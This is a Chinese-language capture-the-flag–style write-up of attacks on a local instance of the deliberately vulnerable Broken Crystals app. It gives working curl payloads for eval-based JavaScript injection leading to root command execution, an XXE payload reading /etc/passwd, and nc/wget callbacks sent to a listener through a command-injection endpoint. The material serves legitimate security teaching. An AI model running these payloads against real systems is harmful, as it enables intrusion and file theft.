Broken Crystals 實戰筆記 3:eval SSJI 拿 RCE,與讀得到檔卻打不動SSRF的XXE
同一份dist/app.controller.js除了已經打穿的/api/spawn命令注入,還躺著兩個標的:/api/process_numbers的eval()與/api/metadata的 XXE,這篇把這兩個補完,並誠實記錄 XXE 能讀檔卻打不出 SSRF 的原因——那段其實比「一打就成功」更有價值。
一、/api/process_numbers:eval SSJI → root RCE
白箱定位
源碼直接寫著把使用者輸入丟進 eval:
const processNumbersExpression = typeof payload?.processing_expression === 'string'
&& payload.processing_expression.trim().length > 0
? payload.processing_expression
: 'numbers.reduce((acc, num) => acc + num, 0)';
const result = eval(processNumbersExpression); // 使用者控制的字串直接進 eval
processing_expression 全控,直接進 eval(),且 result 會被回傳。
先釐清:這是 SSJI,不是 SSTI
這裡容易混淆,先分清楚,差別在「輸入被丟進什麼引擎」:
- SSTI(Server-Side Template Injection):輸入進了模板引擎(Handlebars、Jinja2、doT…),payload 是模板語法如
{{7*7}}、<%= 7*7 %>。 - SSJI(Server-Side JavaScript Injection):輸入直接進
eval()或Function(),payload 是原生 JS如7*7。
/api/process_numbers 是後者——輸入直接進 eval,中間沒有模板引擎,所以是 SSJI,(附帶一提,同一份 controller 的 /api/render 用 doT 引擎 dot.compile(text)(),那個才是 SSTI,兩者剛好可對照。)
驗證
先送純表達式,確認 eval 真的執行:
curl -s -X POST http://localhost:3000/api/process_numbers \
-H "Content-Type: application/json" \
-d '{"numbers":[1,2,3],"processing_expression":"7*7"}'
# 49
回 49(而非字串 "7*7")→ SSJI 確認。
爬升到 RCE
eval 跑的是 Node.js,不是 shell,所以要用 JS 語法呼叫 Node 內建模組執行系統命令,關鍵是 child_process,並選用同步且會回傳輸出的 execSync(端點會 return result,所以要同步、回傳值即命令輸出):
curl -s -X POST http://localhost:3000/api/process_numbers \
-H "Content-Type: application/json" \
-d '{"numbers":[1],"processing_expression":"require(\"child_process\").execSync(\"id\").toString()"}'
# uid=0(root) gid=0(root) groups=0(root),...
uid=0(root)——第二條獨立於 spawn 的 root RCE 路徑。
SSJI 比 spawn 更強的兩點
1. 經過 shell,可自由串接, spawn 那條卡在「不經 shell、; 串接會 ENOENT」,但 execSync 底層預設走 /bin/sh -c,元字元有效:
# id;whoami;hostname 三條都會執行(spawn 做不到)
... "processing_expression":"require(\"child_process\").execSync(\"id;whoami;hostname\").toString()"
2. 有整個 Node.js runtime 可用,不必經 shell, 例如純 JS 用 fs 模組直接讀檔:
... "processing_expression":"require(\"fs\").readFileSync(\"/etc/passwd\").toString()"
SSJI 的本質是:你拿到的不只是「執行命令」,而是「執行任意 Node.js 程式碼」,能力上界高於單純的命令注入。
二、/api/metadata:XXE 任意檔案讀取(SSRF 受限)
白箱定位
const xmlDoc = parseXml(decodeURIComponent(xml), {
noent: true, // 展開外部實體 —— XXE 的開關
dtdvalid: true,
recover: true
});
return xmlDoc.toString(true); // 回傳解析結果 → 有回顯 XXE
noent: true 讓 libxmljs 展開 XML 外部實體,且結果回傳給使用者,屬有回顯(in-band)的 XXE。
驗證與讀檔
XXE payload 三塊結構:XML 宣告 + DOCTYPE 定義外部實體 + body 引用該實體,要點是元素名稱與實體名稱皆為自訂,只需前後一致(DOCTYPE 名對應根元素名、ENTITY 名對應 &名;):
curl -s -X POST http://localhost:3000/api/metadata \
-H "Content-Type: text/xml" \
--data '<?xml version="1.0"?><!DOCTYPE pwn [ <!ENTITY leak SYSTEM "file:///etc/passwd"> ]><pwn>&leak;</pwn>'
回顯 /etc/passwd 內容於 <pwn> 中——XXE 任意檔案讀取成立,(這是本目標第三條讀檔路徑,與 /api/file 的 LFI、/api/spawn 的 RCE 讀相互印證。)
XXE-to-SSRF 嘗試:讀得到檔,卻打不動 SSRF
把 file:// 換成內網 URL,預期讓後端主動請求內部服務:
curl -s -X POST http://localhost:3000/api/metadata \
-H "Content-Type: text/xml" \
--data '<?xml version="1.0"?><!DOCTYPE pwn [ <!ENTITY leak SYSTEM "http://172.22.0.1:8000/xxe-ssrf-proof"> ]><pwn>&leak;</pwn>'
# <pwn/> (空元素,本機 listener 沒收到任何請求)
回 <pwn/> 空元素,本機 HTTP listener 也沒有任何 callback,這需要排查——是網路不通,還是 XXE 不發 HTTP? 用已確認可靠的 spawn RCE 通道隔離變因:
# 1. 測容器到 listener 的連通性
curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=nc -zv 172.22.0.1 8000"
# 172.22.0.1 (172.22.0.1:8000) open ← 網路通
# 2. 用容器的 wget 主動打 listener
curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=wget -O- http://172.22.0.1:8000/spawn-test"
# listener 收到: 172.22.0.7 - - "GET /spawn-test HTTP/1.1" ← 容器確實能發 HTTP
結論釘死:網路 100% 通(spawn 的 wget 打得到 listener),但 XXE 就是不發 HTTP 請求。
為什麼能 file:// 卻不能 http://
外部實體的協定支援取決於底層 libxml2 的編譯選項:
file://:讀本地檔案,基本支援,幾乎必成(所以讀/etc/passwd成功)。http://:需要 libxml2 編譯時開啟 nanohttp 網路模組,精簡容器(如 Alpine base)常關掉或不完整,導致http://外部實體不觸發網路請求,實體展開成空 → 回顯<pwn/>。
這是真實 XXE-SSRF 常見的「打不動」原因:XXE 讀檔成功,不代表 XXE-SSRF 一定成功,取決於解析器對 http:// 的支援。這台的 libxml2 沒有 nanohttp,所以 XXE-SSRF 不通。
攻擊鏈總結
白箱源碼審計 (dist/app.controller.js)
├─ /api/process_numbers eval() SSJI
│ ├─ 7*7 → 49 (確認 SSJI,非 SSTI)
│ ├─ child_process.execSync('id') → root RCE
│ └─ 經 shell,可串接 + 純 JS fs 讀檔 (能力上界高於 spawn)
│
└─ /api/metadata XXE (noent:true)
├─ file:///etc/passwd → 任意檔案讀取 ✅
└─ http://internal → SSRF ✗ (libxml2 無 nanohttp)
兩個收穫超過「成功利用」本身:一是 SSTI 與 SSJI 的分辨(輸入進模板引擎 vs 進 eval),二是「XXE 能讀檔 ≠ 能 SSRF」的解析器層面理解,以及用一條可靠的 RCE 通道去隔離變因、釘死「網路通但 XXE 不發 HTTP」的排查方法。
本文為授權範圍內的本機自建靶場測試紀錄,僅供防禦研究與教育用途。請勿將任何技術用於未授權目標。
Member discussion